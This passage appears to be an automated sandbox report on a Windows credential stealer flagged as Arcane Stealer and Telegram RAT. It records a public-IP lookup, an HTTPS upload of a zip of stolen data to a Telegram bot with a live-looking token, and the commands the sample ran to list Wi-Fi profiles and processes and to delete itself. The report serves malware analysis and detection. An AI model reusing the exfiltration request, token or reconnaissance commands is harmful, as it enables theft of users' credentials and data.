Dec 17, 2024 19:47:11.098315001 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098321915 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098398924 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098407030 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098464966 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098472118 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098543882 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098548889 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098589897 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098596096 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098690033 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098699093 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098718882 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098731995 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098732948 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098757982 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098778009 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098783970 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098814011 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098819971 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098859072 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098865986 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098932028 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098938942 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.098974943 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.098980904 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.099057913 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.099064112 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.099217892 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:11.099222898 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.111116886 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:11.199177980 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:12.018671036 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:12.020418882 CET	49708	443	192.168.2.5	149.154.167.220
Dec 17, 2024 19:47:12.020555973 CET	443	49708	149.154.167.220	192.168.2.5
Dec 17, 2024 19:47:12.020634890 CET	49708	443	192.168.2.5	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 17, 2024 19:46:59.868026972 CET	63959	53	192.168.2.5	1.1.1.1
Dec 17, 2024 19:47:00.005353928 CET	53	63959	1.1.1.1	192.168.2.5
Dec 17, 2024 19:47:01.873634100 CET	51168	53	192.168.2.5	1.1.1.1
Dec 17, 2024 19:47:02.026310921 CET	53	51168	1.1.1.1	192.168.2.5
Dec 17, 2024 19:47:08.873595953 CET	60506	53	192.168.2.5	1.1.1.1
Dec 17, 2024 19:47:09.011013985 CET	53	60506	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 17, 2024 19:46:59.868026972 CET	192.168.2.5	1.1.1.1	0x2296	Standard query (0)	icanhazip.com	A (IP address)	IN (0x0001)	false
Dec 17, 2024 19:47:01.873634100 CET	192.168.2.5	1.1.1.1	0xc8d	Standard query (0)	238.14.8.0.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Dec 17, 2024 19:47:08.873595953 CET	192.168.2.5	1.1.1.1	0xc4c4	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 17, 2024 19:47:00.005353928 CET	1.1.1.1	192.168.2.5	0x2296	No error (0)	icanhazip.com		104.16.184.241	A (IP address)	IN (0x0001)	false
Dec 17, 2024 19:47:00.005353928 CET	1.1.1.1	192.168.2.5	0x2296	No error (0)	icanhazip.com		104.16.185.241	A (IP address)	IN (0x0001)	false
Dec 17, 2024 19:47:02.026310921 CET	1.1.1.1	192.168.2.5	0xc8d	Name error (3)	238.14.8.0.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Dec 17, 2024 19:47:09.011013985 CET	1.1.1.1	192.168.2.5	0xc4c4	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

icanhazip.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	104.16.184.241	80	1352	C:\Users\user\Desktop\zyEDYRU0jw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 17, 2024 19:47:00.221699953 CET	63	OUT	GET / HTTP/1.1 Host: icanhazip.com Connection: Keep-Alive
Dec 17, 2024 19:47:01.323802948 CET	535	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 18:47:01 GMT Content-Type: text/plain Content-Length: 13 Connection: keep-alive Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET Set-Cookie: __cf_bm=5vYa03N7BbqR9KmIecf_rtCGeGVKBqLLgyUZy44__5s-1734461221-1.0.1.1-0_qB8YAWU8UOaTQu3HLSF65yHJCeVHu0HgPXswDR.F9z6bt2M4uXBpyh3EI5ARbRnisjZxSNTagL9Ei2QsiD4w; path=/; expires=Tue, 17-Dec-24 19:17:01 GMT; domain=.icanhazip.com; HttpOnly Server: cloudflare CF-RAY: 8f3914484ee64332-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 0a Data Ascii: 8.46.123.189

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49708	149.154.167.220	443	1352	C:\Users\user\Desktop\zyEDYRU0jw.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 18:47:10 UTC	258	OUT	POST /bot7501458999:AAE_ZNbE_D3XZ8TXpCn-L8D8f4rkvZodj0c/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary="6b29678b-5dd7-4ef1-9acd-f26ecdf2bb88" Host: api.telegram.org Content-Length: 89443 Expect: 100-continue Connection: Keep-Alive
2024-12-17 18:47:11 UTC	40	OUT	Data Raw: 2d 2d 36 62 32 39 36 37 38 62 2d 35 64 64 37 2d 34 65 66 31 2d 39 61 63 64 2d 66 32 36 65 63 64 66 32 62 62 38 38 0d 0a Data Ascii: --6b29678b-5dd7-4ef1-9acd-f26ecdf2bb88
2024-12-17 18:47:11 UTC	125	OUT	Data Raw: 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 64 6f 63 75 6d 65 6e 74 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5b 45 4e 5d 38 2e 34 36 2e 31 32 33 2e 31 38 39 2e 7a 69 70 22 3b 20 66 69 6c 65 6e 61 6d 65 2a 3d 75 74 66 2d 38 27 27 25 35 42 45 4e 25 35 44 38 2e 34 36 2e 31 32 33 2e 31 38 39 2e 7a 69 70 0d 0a 0d 0a Data Ascii: Content-Disposition: form-data; name=document; filename="[EN]8.46.123.189.zip"; filename*=utf-8''%5BEN%5D8.46.123.189.zip
2024-12-17 18:47:11 UTC	4096	OUT	Data Raw: 50 4b 03 04 14 00 00 00 08 00 dc 6d 91 59 4d 98 f4 36 1f 00 00 00 1d 00 00 00 0e 00 00 00 50 72 6f 64 75 63 74 4b 65 79 2e 74 78 74 b3 34 8f 70 33 d2 f5 0b 32 31 8e d0 0d f1 b6 88 f4 d5 f5 0e 33 77 f7 d5 0d 30 0e 0f 8b 00 00 50 4b 03 04 14 00 00 00 08 00 dd 6d 91 59 7e 4b ef fb e5 00 00 00 e2 02 00 00 15 00 00 00 49 6e 73 74 61 6c 6c 65 64 42 72 6f 77 73 65 72 73 2e 74 78 74 ed 90 31 6f c2 30 10 85 67 e7 57 78 84 c5 3a 07 13 42 b7 16 b5 a8 03 15 53 59 6e b1 c2 25 58 72 72 91 93 4a 11 bf be 2e 81 aa 25 73 b7 4e b6 de 7b fe fc ee de 6c 4d 62 6f fb 93 78 a7 d0 39 6e 92 1d 9f 9d f7 56 be b8 40 25 0f 62 f3 80 fb c0 55 b0 75 94 3c 75 78 17 c0 72 3c 15 0d 24 b4 ce 15 28 9d 6c 99 2b 4f 72 73 0a 1c f9 13 c4 68 e3 68 e3 63 db 7a 57 d8 3e fe 8e c5 45 ba b2 56 91 b5 Data Ascii: PKmYM6ProductKey.txt4p3213w0PKmY~KInstalledBrowsers.txt1o0gWx:BSYn%XrrJ.%sN{lMbox9nV@%bUu<uxr<$(l+OrshhczW>EV
2024-12-17 18:47:11 UTC	4096	OUT	Data Raw: 6f 72 77 2f 7b da 5f c4 e0 bd 8a e3 5e 9c c4 85 59 d0 4b 60 b7 08 de 5c 1f bd 86 dd d4 47 7a 9d 5f 74 1a 19 ff 95 97 b0 e9 4d 2f f8 f8 b9 d3 e1 53 95 48 2c 9c 2e 7f 40 e8 67 b9 9b b8 61 1f 15 4d 47 8d 83 c4 39 aa d9 54 55 d9 25 1b 57 9b 37 a5 13 c2 6f 36 8e cd 93 e5 d4 57 01 21 ed ed 27 71 62 7c 4a 3c 75 27 5e d9 81 db 0c 96 03 b3 89 6e d8 d4 57 d3 8e b1 32 19 c2 29 2b 9d 3b cc 98 3b 48 cb 2a ff 70 bb 33 ff 06 af c2 02 58 64 9f 13 3b 08 92 80 10 a4 0a db f6 0f 11 41 0b c6 e5 af eb 6b 7c cb 4d 49 0c 8b c2 c0 9c 72 24 84 a8 31 8c 14 cc 98 7f 47 d9 ed 12 53 12 49 b8 07 65 1f 21 61 57 24 88 80 20 e2 3a e5 50 e2 f2 f3 1a 49 58 07 c2 13 04 44 55 b0 17 b0 63 61 d8 20 96 91 4e df 00 03 5e 32 37 be 4f 2a ef ec 50 a1 dd 6b 0c 35 75 22 b6 1f 6c 2b 24 ce 0f 02 ea aa Data Ascii: orw/{_^YK`\Gz_tM/SH,.@gaMG9TU%W7o6W!'qb\|J<u'^nW2)+;;Hp3Xd;Ak\|MIr$1GSIe!aW$ :PIXDUca N^27OPk5u"l+$
2024-12-17 18:47:11 UTC	4096	OUT	Data Raw: e5 b4 1f b3 7a ae 24 bc 4e 91 ea 05 6f 56 f5 95 dc 8a 31 53 b5 f0 f0 92 16 06 b2 23 cc ea 2d db 3d bf eb c7 13 e6 3d fe 43 9b 06 17 3b b7 a4 27 1b 06 58 56 d3 9f 46 79 ba b9 af ce 8e dd e7 7a df c9 bd c5 f3 fe a2 ac 40 79 f7 db bf b8 b9 7a 60 a7 43 a7 e1 dd 4b d3 81 b5 99 d8 20 9f 38 a3 ba aa ba 58 cf 87 8f 57 28 da 59 d8 6e 98 8e 86 69 7e 61 6f 57 ab ae a8 94 cd 7c 99 7d 07 99 d6 ff 79 0b 76 84 99 0e f8 ef 8e 6b d7 5e 6d e7 5d 75 96 be db b3 03 4d 57 c6 89 80 aa dc 09 c3 6b 83 18 4e 85 e9 aa 0b b6 5c 0e 03 6a cd ee 4f fe 6a 35 10 76 3a 66 0f ad 0f 5e 9f 96 47 6c 14 e5 7f ac aa c7 9b 23 64 56 23 7f 89 ff b1 7c 24 b4 35 5b a7 a2 f7 4c 7e 56 02 0f 28 07 be 51 6f 73 79 74 c5 75 e4 a2 c7 12 46 a5 6a b4 d6 6e 66 00 32 64 c1 ba d7 40 08 8a e8 99 1f 7f 77 f7 b3 Data Ascii: z$NoV1S#-==C;'XVFyz@yz`CK 8XW(Yni~aoW\|}yvk^m]uMWkN\jOj5v:f^Gl#dV#\|$5[L~V(QosytuFjnf2d@w
2024-12-17 18:47:11 UTC	4096	OUT	Data Raw: 61 e9 fe 40 f1 97 85 ac 6c c4 d6 c7 bd f7 51 dd 03 58 91 fe 6c d9 ac 81 f0 32 8e af 4f 0c 4c a5 8f b8 07 10 09 c6 dd 50 2f 9b fa a9 b1 04 3b 4c aa a8 89 d8 21 f2 91 79 5f 1f 9b 40 2b 7b 61 da af a0 01 5a 9c 72 24 48 d3 5a 29 98 93 40 10 3c 8b 0d ae 91 d0 91 dc 4c 33 f7 8c e1 a4 51 b1 e7 fe ab 5f a0 d3 86 e1 40 3a 97 f2 af 5c 8c 44 a1 cf b8 16 7f ce 7d 52 19 1c c6 10 89 07 39 0b c9 84 a4 5a 85 24 a0 ad 52 cc 18 2b 69 ed 36 38 46 19 89 37 7b 5c f7 bf 0c 20 08 b9 23 08 1f 08 83 2b cf d2 ff 05 25 a5 f5 50 67 90 69 5e 09 32 8a 2b 89 99 fa 1a 6d 09 3a 20 f2 52 0a 81 58 75 25 fc 69 0e 09 bf 0b 87 c2 51 7a b8 9c 37 d0 fc f6 40 2d 0d 5a a7 13 14 4a b9 4f 9a 91 9f 70 63 d9 18 cb a0 a5 8f b1 19 34 bb 1f d3 c6 48 33 88 07 31 8a 3a 29 5f 9c bd dd 99 8c 51 38 a2 c7 49 Data Ascii: a@lQXl2OLP/;L!y_@+{aZr$HZ)@<L3Q_@:\D}R9Z$R+i68F7{\ #+%Pgi^2+m: RXu%iQz7@-ZJOpc4H31:)_Q8I
2024-12-17 18:47:11 UTC	4096	OUT	Data Raw: c8 d8 bb 79 d2 64 ee 98 d5 7f 2c 35 36 76 48 04 0c ae 8b 9d 73 a9 9c ca bc 34 b7 ba 4b 95 e0 5d ba 1b 7c 7b 54 fe dd a5 80 ba 04 c4 56 77 06 53 86 67 e7 56 ad 96 f0 2b 97 60 d5 b6 67 a5 ce 52 36 a8 7d 03 bf 82 d1 48 37 f1 5d ca f1 37 4f de e9 8e d3 e7 64 e6 63 27 33 24 7d 3f 3f bf 2f f8 7a e4 6a 92 de 08 63 04 03 fc bf b8 eb ce 29 16 66 fa d5 92 cb ab 84 dc 80 39 0e c1 0c f5 32 f5 ef 89 43 cd 4e 72 2f 5c 85 06 aa 63 e4 27 cc 93 df 16 c4 1e cf 3f 64 96 a7 28 de 1a 58 ab 19 e2 e6 b5 2c 13 7e e5 1e 50 f2 c7 59 69 19 65 99 6a fa 5b af d8 f5 01 25 a3 04 e2 a4 92 1f e0 c3 52 31 b4 8f fe 7c a6 08 2f bd f1 b4 19 72 e8 78 60 24 57 15 74 8d 96 9e 2f 69 ed f8 66 f6 ef 6a e6 9b 29 c5 d6 04 a6 3f f7 b6 03 8d 4d d2 95 14 6d 0b c7 6a 3d fa 47 27 ac ad ee 10 01 a7 aa f9 Data Ascii: yd,56vHs4K]\|{TVwSgV+`gR6}H7]7Odc'3$}??/zjc)f92CNr/\c'?d(X,~PYiej[%R1\|/rx`$Wt/ifj)?Mmj=G'
2024-12-17 18:47:11 UTC	4096	OUT	Data Raw: bd 2e ae ba 70 d8 e1 f8 24 b6 77 00 4a bb 17 b6 60 85 2f 83 39 7a 39 9d 29 3b 8b 9f 35 de 38 1c ad 34 0a f7 72 3d 53 7e 80 fb 74 fd 70 34 4f d3 b1 e6 8c a3 0e 89 28 19 91 28 be f5 48 d5 05 f5 9a b8 4f 4c 8b 26 54 6d bc c1 8f 7f d1 dd 2b ef b5 d1 12 eb 70 a6 65 8c 5a 11 7f 8d 89 7c 07 93 81 92 be db b5 f1 ce ef 7f df 88 99 59 df 90 e0 99 cb ba b0 cb fe a1 1d bd 14 37 a9 e9 ca 32 bf ad 79 45 a6 85 31 fd 0b 6f 6c 6c 6c 53 c4 50 d3 98 58 c0 f6 84 2e 16 f8 92 d8 8e 05 6e 58 e8 45 d0 ad 9e 4e 6f 68 3b c3 5c 1f 35 62 81 03 b2 f4 83 3c f5 aa 50 25 5f bb b8 76 a6 6a 46 f1 a0 7e 62 3f 0a c0 9f b6 c7 28 60 56 f2 d1 bb 5f 23 d1 02 25 7d 1c c5 9f 45 ca 3b ac ad 6f c7 f9 a6 ce f0 2f 6d 7d ea d5 37 b7 5b ef 1c 3f 89 8e ec 2d f8 4a 1f c2 c3 ef 7e fb cc 27 84 18 c9 3f 20 Data Ascii: .p$wJ`/9z9);584r=S~tp4O((HOL&Tm+peZ\|Y72yE1olllSPX.nXENoh;\5b<P%_vjF~b?(`V_#%}E;o/m}7[?-J~'?
2024-12-17 18:47:11 UTC	4096	OUT	Data Raw: 76 77 a9 63 25 de b0 64 b7 af ea a7 e3 57 1e 01 8b f1 6f 1a 13 b4 dd 62 4b ac 99 e2 e9 57 bd 49 87 99 9f 7e 09 f8 71 73 21 c1 6c 79 29 ff dd 50 53 cd dd f5 24 8d 86 34 8d 4b aa c8 b8 6b 94 57 d5 f9 02 b5 24 17 87 16 b4 b9 76 2d 78 d9 9c 98 bc d9 55 a2 f7 e9 74 da a2 8a 84 3b ff e4 d3 7e d9 79 08 65 85 b7 ca ee ac 96 ee 66 65 d8 04 19 56 37 ec 6c 37 4d d7 4c 2a 52 1d 80 ff b0 bd 72 c0 fc 50 13 88 6c 16 78 b1 04 ba be f2 35 e8 c0 10 d9 c5 c4 2c 80 d4 2e 2f 5a 12 f0 60 e0 ca 70 f7 a6 8f f3 b5 72 f8 c5 66 a0 78 f5 d6 2b 03 1d e2 88 40 7f 1d e9 a3 d4 ca 1c bd 24 3b a7 89 e1 b7 16 cf 6b 1f 72 5c 7a 4b 0f 68 93 0c a8 b0 48 94 aa 50 96 83 46 05 86 d7 26 1a 8e 2b 3a da ea 39 4d dc 31 89 45 71 55 9f d9 11 1d 66 de f4 1e 94 da 4b 6a be 10 4f 32 4d ba 3f 49 67 0f 8a Data Ascii: vwc%dWobKWI~qs!ly)PS$4KkW$v-xUt;~yefeV7l7ML*RrPlx5,./Z`prfx+@$;kr\zKhHPF&+:9M1EqUfKjO2M?Ig
2024-12-17 18:47:11 UTC	4096	OUT	Data Raw: f4 90 af bc c6 a8 36 1b d2 98 68 98 77 2f 82 1c 52 64 d0 f6 2c e7 82 af 5e d8 61 0f bd fc a9 cf 73 96 b6 b9 25 65 c9 b3 67 7f 7d 06 69 5a e9 2e 45 fe e1 69 86 fc bd 82 a0 06 fd 95 8e 6c e5 94 c1 b8 41 43 21 48 1c 90 c9 9f 3e c3 8c 16 f3 5f 76 06 55 c2 cb fa 53 7a c4 97 b4 d8 e3 a3 7e 2e 2b 8b 47 0c de 44 b4 f8 43 32 43 2e 52 2d 9d 81 7c 77 d0 4b e3 f1 4b 70 a2 f1 54 15 b9 ca b5 84 d0 98 fe 74 04 f8 68 30 a3 32 2c 1a 7d 91 65 55 e9 89 1b fd d1 d0 30 68 a5 8e ae 5d b7 c7 db eb 00 e6 65 1a 1b b5 67 df d3 8f 30 08 f7 eb 84 bf 58 89 3a 2d 2c de 54 14 f6 b2 ff 46 37 f0 c8 ec 9d 36 24 a8 ff 13 50 33 4b 21 9f fe 94 a9 b0 6c 50 e8 71 bd ca af 3f 3b 97 56 12 aa eb ab ad 47 f4 be fb 1b f6 e9 73 9f ec ed 94 46 74 3a e9 bd 47 46 2c 3f f6 4b 64 7e a0 66 65 41 d5 70 c7 Data Ascii: 6hw/Rd,^as%eg}iZ.EilAC!H>_vUSz~.+GDC2C.R-\|wKKpTth02,}eU0h]eg0X:-,TF76$P3K!lPq?;VGsFt:GF,?Kd~feAp
2024-12-17 18:47:11 UTC	25	IN	HTTP/1.1 100 Continue
2024-12-17 18:47:12 UTC	859	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 17 Dec 2024 18:47:11 GMT Content-Type: application/json Content-Length: 471 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":true,"result":{"message_id":1093,"from":{"id":7501458999,"is_bot":true,"first_name":"AYE BOT)","username":"gfhsd68ybufaFGDHSufhbjsn_bot"},"chat":{"id":7768810529,"first_name":"Has been seized","username":"Taldic","type":"private"},"date":1734461231,"document":{"file_name":"[EN]8.46.123.189.zip","mime_type":"application/zip","file_id":"BQACAgQAAxkDAAIERWdhxy_VffYO4OjAeOUq4rb_OESJAAJaFQAC2JEQU5Adm_zQ4ujnNgQ","file_unique_id":"AgADWhUAAtiREFM","file_size":89093}}}

Target ID:	0
Start time:	13:46:57
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\zyEDYRU0jw.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\zyEDYRU0jw.exe"
Imagebase:	0x650000
File size:	171'008 bytes
MD5 hash:	41D3660B5321768122F4C25AC9868FC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Arcane, Description: Yara detected Arcane Stealer, Source: 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000000.2064228999.0000000000652000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2250498152.0000000002A31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	3
Start time:	13:47:04
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd" /C chcp 65001 && netsh wlan show profiles \| findstr All
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	13:47:04
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	13:47:05
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0xbd0000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	6
Start time:	13:47:05
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\netsh.exe
Wow64 process (32bit):	true
Commandline:	netsh wlan show profiles
Imagebase:	0x1080000
File size:	82'432 bytes
MD5 hash:	4E89A1A088BE715D6C946E55AB07C7DF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	13:47:05
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr All
Imagebase:	0x350000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	13:47:05
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"cmd.exe" /c tasklist
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	13:47:05
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	10
Start time:	13:47:05
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0xdf0000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	13:47:15
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C C:\Users\user\AppData\Local\Temp\tmp48A1.tmp.bat & Del C:\Users\user\AppData\Local\Temp\tmp48A1.tmp.bat
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	13
Start time:	13:47:15
Start date:	17/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	13:47:16
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\chcp.com
Wow64 process (32bit):	true
Commandline:	chcp 65001
Imagebase:	0xbd0000
File size:	12'800 bytes
MD5 hash:	20A59FB950D8A191F7D35C4CA7DA9CAF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	16
Start time:	13:47:16
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	TaskKill /F /IM 1352
Imagebase:	0x390000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	13:47:16
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	Timeout /T 2 /Nobreak
Imagebase:	0x1e0000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	13:47:16
Start date:	17/12/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1352 -s 3228
Imagebase:	0x960000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true